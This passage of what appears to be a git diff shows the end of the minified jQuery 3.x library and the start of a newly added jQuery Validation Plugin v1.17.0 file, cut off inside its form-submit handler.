e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
diff --git a/public/js/jquery.validate.js b/public/js/jquery.validate.js
new file mode 100644
index 0000000..12674b0
--- /dev/null
+++ b/public/js/jquery.validate.js
@@ -0,0 +1,1601 @@
+/*!
+ * jQuery Validation Plugin v1.17.0
+ *
+ * https://jqueryvalidation.org/
+ *
+ * Copyright (c) 2017 Jörn Zaefferer
+ * Released under the MIT license
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+		define( ["jquery"], factory );
+	} else if (typeof module === "object" && module.exports) {
+		module.exports = factory( require( "jquery" ) );
+	} else {
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.extend( $.fn, {
+
+	// https://jqueryvalidation.org/validate/
+	validate: function( options ) {
+
+		// If nothing is selected, return nothing; can't chain anyway
+		if ( !this.length ) {
+			if ( options && options.debug && window.console ) {
+				console.warn( "Nothing selected, can't validate, returning nothing." );
+			}
+			return;
+		}
+
+		// Check if a validator for this form was already created
+		var validator = $.data( this[ 0 ], "validator" );
+		if ( validator ) {
+			return validator;
+		}
+
+		// Add novalidate tag if HTML5.
+		this.attr( "novalidate", "novalidate" );
+
+		validator = new $.validator( options, this[ 0 ] );
+		$.data( this[ 0 ], "validator", validator );
+
+		if ( validator.settings.onsubmit ) {
+
+			this.on( "click.validate", ":submit", function( event ) {
+
+				// Track the used submit button to properly handle scripted
+				// submits later.
+				validator.submitButton = event.currentTarget;
+
+				// Allow suppressing validation by adding a cancel class to the submit button
+				if ( $( this ).hasClass( "cancel" ) ) {
+					validator.cancelSubmit = true;
+				}
+
+				// Allow suppressing validation by adding the html5 formnovalidate attribute to the submit button
+				if ( $( this ).attr( "formnovalidate" ) !== undefined ) {
+					validator.cancelSubmit = true;
+				}
+			} );
+
+			// Validate the form on submit
+			this.on( "submit.validate", function( event ) {
+				if ( validator.settings.debug ) {
+
+					// Prevent form submit to be able to see console output
+					event.preventDefault();
+				}
+				function handle() {
+					var hidden, result;
+
+					// Insert a hidden input as a replacement for the missing submit button
+					// The hidden input is inserted in two cases:
+					//   - A user defined a `submitHandler`
+					//   - There was a pending request due to `remote` method and `stopRequest()`
+					//     was called to submit the form in case it's valid
+					if ( validator.submitButton && ( validator.settings.submitHandler || validator.formSubmitted ) ) {
